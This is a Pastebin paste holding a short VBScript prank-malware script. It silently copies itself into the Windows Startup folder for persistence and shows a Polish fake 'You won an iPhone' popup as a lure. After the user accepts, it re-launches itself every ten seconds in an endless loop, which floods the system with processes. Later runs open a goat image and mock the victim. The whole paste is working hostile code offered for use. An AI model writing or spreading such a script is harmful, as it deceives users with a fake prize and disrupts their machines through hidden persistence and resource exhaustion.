Advertisement
Guest User

Untitled

a guest
Feb 11th, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. dim objShell
  2. Set objShell = wscript.createobject("wscript.shell")
  3.  
  4.  
  5. if wscript.arguments.count = 0 then
  6.  
  7. dim Var
  8. dim Source
  9. dim Target
  10. dim cmd
  11. dim name
  12.  
  13. name = wscript.ScriptName
  14. msgbox(name)
  15.  
  16. Target = "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  17. Source   = "C:\Users\%USERNAME%\Desktop\"&name
  18. cmd= "%comspec% /c copy """ & Source& """ """ & Target & """ /Y"
  19.  
  20. objShell.run cmd,0,true
  21.  
  22. do while Var <> 6
  23. Var=Msgbox("Pobierz swojego iphona",vbYesNo,"Wygrałeś iphona!")
  24. Loop
  25.  
  26. if var = 6 then
  27. do while true
  28. objShell.run name & " &1",0
  29. wscript.sleep 10000
  30. loop
  31. end if
  32.  
  33. else
  34.  
  35. objShell.run "https://pristinefarmexperience.files.wordpress.com/2013/03/goats.gif"
  36. msgbox("GET REKT M8")
  37.  
  38. end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement